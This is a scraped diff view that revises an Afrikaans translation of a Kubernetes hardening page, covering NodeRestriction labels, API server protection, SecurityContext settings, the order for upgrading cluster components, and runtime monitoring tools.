- Verhoed basies dat kubelets etikette met die voorvoegsel node-restriction.kubernetes.io/ byvoeg/verwyder/werk by. Hierdie etiketvoorvoegsel is voorbehou vir administrateurs om hul Node-objekte te etiketteer vir workload-isolasie, en kubelets sal nie toegelaat word om etikette met daardie voorvoegsel te wysig nie.
|
||||
- En ook, laat kubelets toe om hierdie etikette en etiketvoorvoegsels by te voeg/verwyder/te wysig.
|
||||
- Gebruik etikette om veilige workload-isolasie te verseker.
|
||||
- Voorkom dat spesifieke pods API-toegang kry.
|
||||
- Vermy dat die ApiServer aan die internet blootgestel word.
|
||||
- Voorkom ongemagtigde toegang met RBAC.
|
||||
- Beveilig die ApiServer-poort met 'n firewall en IP-witlys.
|
||||
|
||||
### SecurityContext Hardening
|
||||
### SecurityContext-verharding
|
||||
|
||||
Per verstek sal die root-gebruiker gebruik word wanneer 'n Pod begin word as geen ander gebruiker gespesifiseer is nie. Jy kan jou toepassing binne 'n meer veilige konteks laat loop deur 'n sjabloon soortgelyk aan die volgende te gebruik:
|
||||
Standaard word die root-gebruiker gebruik wanneer 'n Pod begin word as geen ander gebruiker gespesifiseer is nie. Jy kan jou toepassing in 'n meer veilige konteks laat loop deur 'n sjabloon soos die volgende te gebruik:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -226,30 +297,30 @@ allowPrivilegeEscalation: true
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
|
||||
### Algemene Verharding
|
||||
### Algemene verharding
|
||||
|
||||
Jy moet jou Kubernetes-omgewing so gereeld as nodig opdateer om te hê:
|
||||
Jy moet jou Kubernetes-omgewing so gereeld as nodig opdateer om te verseker dat:
|
||||
|
||||
- Afhanklikhede op datum.
|
||||
- Fout- en sekuriteitspatches.
|
||||
- Fout- en sekuriteitsopdaterings.
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Elke 3 maande is daar 'n nuwe minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Elke 3 maande is daar 'n nuwe minor vrystelling -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
|
||||
**Die beste manier om 'n Kubernetes Cluster op te dateer is (van** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Werk die Master Node-komponente op volgens hierdie volgorde:
|
||||
- Opgradeer die Master Node-komponente volgens hierdie volgorde:
|
||||
- etcd (alle instansies).
|
||||
- kube-apiserver (alle control plane-hosts).
|
||||
- kube-apiserver (alle control plane hosts).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, indien jy een gebruik.
|
||||
- Werk die Worker Node-komponente op, soos kube-proxy, kubelet.
|
||||
- Opgradeer die Worker Node-komponente soos kube-proxy, kubelet.
|
||||
|
||||
## Kubernetes monitering & sekuriteit:
|
||||
|
||||
- Kyverno Policy Engine
|
||||
- Cilium Tetragon - eBPF-gebaseerde sekuriteitswaarneembaarheid en runtime-dwinging
|
||||
- Cilium Tetragon - eBPF-gebaseerde sekuriteitswaarneming en runtime-afdwinging
|
||||
- Network Security Policies
|
||||
- Falco - Runtime-sekuriteitsmonitering & opsporing
|
||||
- Falco - runtime-sekuriteitsmonitering en opsporing
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user